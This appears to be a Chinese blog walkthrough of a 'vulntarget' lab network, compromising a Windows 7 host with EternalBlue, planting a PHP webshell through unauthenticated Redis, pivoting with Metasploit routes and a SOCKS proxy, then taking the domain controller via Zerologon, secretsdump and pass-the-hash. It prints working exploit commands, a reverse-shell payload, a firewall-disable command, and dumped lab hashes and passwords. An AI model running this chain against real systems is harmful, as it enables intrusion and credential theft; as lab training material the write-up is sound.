网络配置
外网WIN7:
ip1: 192.168.127.91/255.255.255.0 ,gw:192.168.127.2 (NAT模式)
ip2:10.0.20.98-vmnet1
(仅主机模式)
域主机成员:
10.0.20.99-vmnet1(仅主机模式)
10.0.10.111-vmnet2(仅主机模式)
域控:
10.0.10.110-vmnet2(仅主机模式)
密码配置:
Win7:win7/admin
win2016:Administrator/Admin@123、vulntarget.com\win2016 Admin#123
win2019:vulntarget.com\administrator Admin@666
信息收集
扫描主机
arp-scan -l
扫描同一网段中的存活主机
![](https://i-blog.csdnimg.cn/blog_migrate/a430cdc7a4de2c9b9bec06c6cb30f7b2.png)
发现一个存活主机:
192.168.127.91
扫描端口
扫描一下存活靶机的ip地址
nmap -sC -T4 192.168.127.91
![](https://i-blog.csdnimg.cn/blog_migrate/37a00e7380d8bda7c6694bbd42c709f1.png)
发现目标系统为win7,且开放了445端口,尝试利用永恒之蓝(ms17-010)打一波目标系统
内网主机渗透
在
kali
中输入命令:
msfconsole
msf 6> search 17-010
msf 6> use 0
msf 6> set payload windows/x64/meterpreter/reverse_tcp
msf 6> set lport 6666
msf 6> set lhost 192.168.127.129
msf 6> set rhosts 192.168.127.91
msf 6> run
![](https://i-blog.csdnimg.cn/blog_migrate/14a65dcd4357f4f07e72fe8ad8f2eb79.png)
meterpreter>shell
C:\Windows\System32>ipconfig
![](https://i-blog.csdnimg.cn/blog_migrate/56e726dee603f5e81b26286b9a6f666e.png)
发现有些乱码,直接在设置一下
C:\Windows\System32>CHCP 65001 #65001 UTF-8代码页
C:\Windows\System32>ipconfig #
发现有两个网段,一个是192.168.127的网段,另一个就是10.0.20网段
![](https://i-blog.csdnimg.cn/blog_migrate/c512e053ec319fed557eea9a0b657bc7.png)
C:\Windows\System32>whomai #查看当前用户得权限为system权限
![](https://i-blog.csdnimg.cn/blog_migrate/fcba2336cd4d710b9abc6934ad8c617f.png)
C:\Windows\System32>tasklist/svc #查看进程,发现系统中没有杀软
![](https://i-blog.csdnimg.cn/blog_migrate/54501fb2d360160b6234fe0524ac6b62.png)
C:\Windows\System32>exit #退出shell命令终端
![](https://i-blog.csdnimg.cn/blog_migrate/a9e3e33bb99b8a66160fbd8218cbf75a.png)
meterpreter>load kiwi #加载mimikataz模块
meterpreter>creds_all #获取当前所有用户得登录凭证,发现用户名为win7,密码为:admin
![](https://i-blog.csdnimg.cn/blog_migrate/bc55848745d3861698d76cdc7f281402.png)
Web渗透
直接访问,http://192.168.127.91/,发现是通达OA
![](https://i-blog.csdnimg.cn/blog_migrate/ae8c1bc11cb1a1dd7bdcc877b5a2cdb6.png)
通过搜索引擎搜索通达11.3存在文件包含漏洞
参考地址:https://blog.csdn.net/hackzkaq/article/details/115900500
这里使用一键图形化工具获得webshell
![](https://i-blog.csdnimg.cn/blog_migrate/a1acf6867e26ec0407609f99ec7a1c4f.png)
使用蚁剑连接成功
![](https://i-blog.csdnimg.cn/blog_migrate/75829313178a54119a3144b3b072874d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/df8601531d927c9f9a0309c6ef3c6631.png)
同样在
蚁剑的命令终端下查看当前用户的权限为system权限
![](https://i-blog.csdnimg.cn/blog_migrate/15777170bcbc7118b3b1ba4d42c17443.png)
横向渗透
进程迁移
获得shell时,该shell是极其脆弱,所以需要移动这个shell把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这样使渗透更难被检测到。自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的进程然后迁移
meterpreter > run post/windows/manage/migrate #
从1080的spoolsv.exe迁移到了noepad.exe的4800进程
![](https://i-blog.csdnimg.cn/blog_migrate/6392d4ad3d326656ab9514b6db9a8664.png)
查看本地网络连接子网段
meterpreter > run get_local_subnets
![](https://i-blog.csdnimg.cn/blog_migrate/f9bf1a4bc9bffacb7e6a130b8dcfaf82.png)
添加一条动态路由
meterpreter > run autoroute -s 10.0.20.0/24
或者
meterpreter >
background
meterpreter >sessions
msf6 exploit(windows/smb/ms17_010_eternalblue) >use post/multi/manage/autoroute
msf6 exploit(windows/smb/ms17_010_eternalblue) >set session 1
msf6 exploit(windows/smb/ms17_010_eternalblue) >run
![](https://i-blog.csdnimg.cn/blog_migrate/a1acc142390381d8993d08a5365b73d4.png)
meterpreter >
background
![](https://i-blog.csdnimg.cn/blog_migrate/9e3e208153355cf4cab1cdf5d4cec7ed.png)
发现存活主机
msf6 exploit(windows/smb/ms17_010_eternalblue) >use post/windows/gather/arp_scanner
msf6 exploit(windows/smb/ms17_010_eternalblue) >set session 1
msf6 exploit(windows/smb/ms17_010_eternalblue) >set rhosts 10.0.20.1-254
msf6 exploit(windows/smb/ms17_010_eternalblue) >run
![](https://i-blog.csdnimg.cn/blog_migrate/1f8b513b87831d193efd70a08aeb2519.png)
发现了另一台存活主机10.0.20.99
开启socks5代理
msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run
![](https://i-blog.csdnimg.cn/blog_migrate/87ab1d7d76a1989082259a85d496becd.png)
![](https://i-blog.csdnimg.cn/blog_migrate/49fe8c1d94b4be7fc43a4c55f401d4b5.png)
端口扫描
首先先要需要修改/etc/proxychain4.conf配置文件
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
通过nmap扫描目标IP的常用端口
proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080
![](https://i-blog.csdnimg.cn/blog_migrate/a36ccce27eb12ee27a4b9dde4a6d6f07.png)
发现
10.0.20.99主机开放了6379和80端口
这里使用本地socks5代理客服端proxifier软件
![](https://i-blog.csdnimg.cn/blog_migrate/959d79150d4e9bd518afaa63a2e5d08b.png)
通过
dirsearch进行扫描,发现目标存在phpinfo.php敏感信息页面
python3 dirsearch.py -l url.txt -t 10 -e * -i 200,302 --format csv -o C:\Users\backlion\Desktop\dirsearch-master\xxx.com.csv
或者攻击机kali下执行
proxychains python dirsearch.py -uhttp://10.0.20.99 -i 200
proxychains dirsearch -u “http://10.0.20.99” --proxy=socks5://127.0.0.1:1080 -t 5
![](https://i-blog.csdnimg.cn/blog_migrate/0b941959c6e05a1002aac31727bec9ba.png)
访问phpinfo.php页面发现暴露了网站的绝对路径:
C:/phpStudy/PHPTutorial/WWW/
![](https://i-blog.csdnimg.cn/blog_migrate/3e2c518cd2680c0c872bbf5efa491543.png)
http://10.0.20.99/l.php
![](https://i-blog.csdnimg.cn/blog_migrate/69efd195a827c05a74900a2f8eefdc39.png)
Redis未授权访问
通过 redis-cli 命令可无密码进行远程连接
proxychains redis-cli -h 10.0.20.99
![](https://i-blog.csdnimg.cn/blog_migrate/96b485ea74a546c1ac5c3fdd6fbdc2e1.png)
Redis写入webshell
10.0.20.99:6379> CONFIG set dir "C:/phpStudy/PHPTutorial/WWW/" #切换到可写入shell的绝对路径
10.0.20.99:6379> set x "\n\n\n<?php @eval($_POST['x']);?>\n\n\n" #写入一句话木马
10.0.20.99:6379> config set dbfilename shell.php #设置文件名为shell.php
10.0.20.99:6379> save
![](https://i-blog.csdnimg.cn/blog_migrate/7cf822755e4e5a8d701215b2eb76060f.png)
这里通过本地主机上的蚁剑设置代理,且连接webshell
![](https://i-blog.csdnimg.cn/blog_migrate/6f870948fafe7e22b4742b12f778a9d2.png)
![](https://i-blog.csdnimg.cn/blog_migrate/b08be59912937080d54f30222918922f.png)
![](https://i-blog.csdnimg.cn/blog_migrate/d716912970e483e564ab747115335665.png)
查看当前用户权限为syestem
![](https://i-blog.csdnimg.cn/blog_migrate/36cc6ac8ea41172e1bda5a6189d8f7ae.png)
上传MSF后门
生成正向shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=3333 -f exe > shell.exe
![](https://i-blog.csdnimg.cn/blog_migrate/552f17781881977444fb5001aa940ca0.png)
使用蚁剑上传shell.exe到10.0.20.99,并执行
![](https://i-blog.csdnimg.cn/blog_migrate/fb75e0b0039ba083beca47551a57d71f.png)
配置监听器
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 3333
set RHOST 10.0.20.99
run
![](https://i-blog.csdnimg.cn/blog_migrate/e4f30a4f080871a40bbb6d052d6062a4.png)
关闭防火墙
netsh firewall set opmode mode=disable
蚁剑命令终端中运行shell.exe
收集同网段主机
meterpreter > arp
扫出10.0.10.110网段
迁移进程
run post/windows/manage/migrate
![](https://i-blog.csdnimg.cn/blog_migrate/378881b15e778e60f64a801fc3943ca0.png)
meterpreter > sysinfo
![](https://i-blog.csdnimg.cn/blog_migrate/155ffad1c8cc8b50e6df1ba73254fad4.png)
meterpreter > shell
![](https://i-blog.csdnimg.cn/blog_migrate/5ed7a77c7668a896c6f5bd9a3e4b8868.png)
C:\phpStudy\PHPTutorial\WWW>CHCP 65001
![](https://i-blog.csdnimg.cn/blog_migrate/c62f637eebe2b2ad253f4754d46ca00f.png)
收集IP信息
C:\phpStudy\PHPTutorial\WWW>ipconfig/all
![](https://i-blog.csdnimg.cn/blog_migrate/ceb7eaca4da115405eb2fc16eb362c76.png)
![](https://i-blog.csdnimg.cn/blog_migrate/3b0737e2a716b8a8533b14be5979cd0b.png)
有域存在,查看域控计算机名
C:\phpStudy\PHPTutorial\WWW>net group "domain controllers" /domain
![](https://i-blog.csdnimg.cn/blog_migrate/0b4cd72fb4dd96b3ba349c37d586524a.png)
查看域管理员
C:\phpStudy\PHPTutorial\WWW>net group "enterprise admins" /domain
![](https://i-blog.csdnimg.cn/blog_migrate/7238d333f4d23c7e2ac79e2f74e764c3.png)
域提权
添加路由
meterpreter > run post/multi/manage/autoroute
meterpreter > run autoroute -p
![](https://i-blog.csdnimg.cn/blog_migrate/1f4e3c0ca17ec2697a3cd2e1dc186b18.png)
meterpreter > run post/windows/gather/enum_domain
![](https://i-blog.csdnimg.cn/blog_migrate/eca560007a6c4fddecb1fee7bb4df406.png)
proxychains4 nmap -Pn -sT 10.0.10.110 -p6379,80,8080,445,139
![](https://i-blog.csdnimg.cn/blog_migrate/906c518c97da3e61a4cfc09a20b4c88a.png)
下载impacket包,并进行安装
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 -m pip install -r requirements.txt
python3 -m pip install .
下载CVE-2020-1472EXP
git clone https://github.com/dirkjanm/CVE-2020-1472.git
cd CVE-2020-1472
执行EXP
proxychains python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110
![](https://i-blog.csdnimg.cn/blog_migrate/99f66569482ab2f5f8ab1eb9cca9f299.png)
获取域管理员hash
cd /opt/impacket/examples
proxychains python3 secretsdump.py vulntarget.com/WIN2019\$@10.0.10.110 -no-pass
![](https://i-blog.csdnimg.cn/blog_migrate/3ff5fb7858f550f3647304703c393edc.png)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a3dd8e4a352b346f110b587e1d1d1936:::
vulntarget.com\win2016:1601:aad3b435b51404eeaad3b435b51404ee:dfc8d2bfa540a0a6e2248a82322e654e:::
WIN2019$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN2016$:1602:aad3b435b51404eeaad3b435b51404ee:d0b248a756f62bbef5b286c7be19c7a9:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:70a1edb09dbb1b58f1644d43fa0b40623c014b690da2099f0fc3a8657f75a51d
Administrator:aes128-cts-hmac-sha1-96:04c435638a00755c0b8f12211d3e88a1
Administrator:des-cbc-md5:dcc29476a789ec9e
krbtgt:aes256-cts-hmac-sha1-96:f7a968745d4f201cbeb73f4b1ba588155cfd84ded34aaf24074a0cfe95067311
krbtgt:aes128-cts-hmac-sha1-96:f401ac35dc1c6fa19b0780312408cded
krbtgt:des-cbc-md5:10efae67c7026dbf
vulntarget.com\win2016:aes256-cts-hmac-sha1-96:e4306bef342cd8215411f9fc38a063f5801c6ea588cc2fee531342928b882d61
vulntarget.com\win2016:aes128-cts-hmac-sha1-96:6da7e9e046c4c61c3627a3276f5be855
vulntarget.com\win2016:des-cbc-md5:6e2901311c32ae58
WIN2019$:aes256-cts-hmac-sha1-96:092c877c3b20956347d535d91093bc1eb16b486b630ae2d99c0cf15da5db1390
WIN2019$:aes128-cts-hmac-sha1-96:0dca147d2a216089c185d337cf643e25
WIN2019$:des-cbc-md5:01c8894f541023bc
WIN2016$:aes256-cts-hmac-sha1-96:414bc47994e3bf616da9e115ba8c7e528ce17315734337479d6f67df3ca6e682
WIN2016$:aes128-cts-hmac-sha1-96:8b30d9d37e7f7f474124382d2fe75950
WIN2016$:des-cbc-md5:6d97313875e362c8
拿到管理员hash,执行提权exp
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 Administrator@10.0.10.110
![](https://i-blog.csdnimg.cn/blog_migrate/1c1b4b804d67a4b96dba8c0a80ac6388.png)
开启3389远程桌面端口:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
直接3389登录:proxychains rdesktop 10.0.10.110
账号:balsec.com\administrator 密码:Admin@666
![](https://i-blog.csdnimg.cn/blog_migrate/4b8fbae4a1b0a6633ab8fab2c8d48dec.jpeg)